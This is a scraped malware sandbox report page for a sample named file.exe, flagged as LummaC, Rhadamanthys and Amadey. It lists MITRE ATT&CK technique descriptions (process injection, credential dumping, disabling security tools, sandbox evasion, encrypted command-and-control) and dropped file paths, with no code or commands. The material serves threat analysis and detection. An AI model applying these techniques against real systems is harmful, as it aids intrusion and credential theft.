Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Rhadamanthys

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\fba63623fe.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Windows Analysis Report
file.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre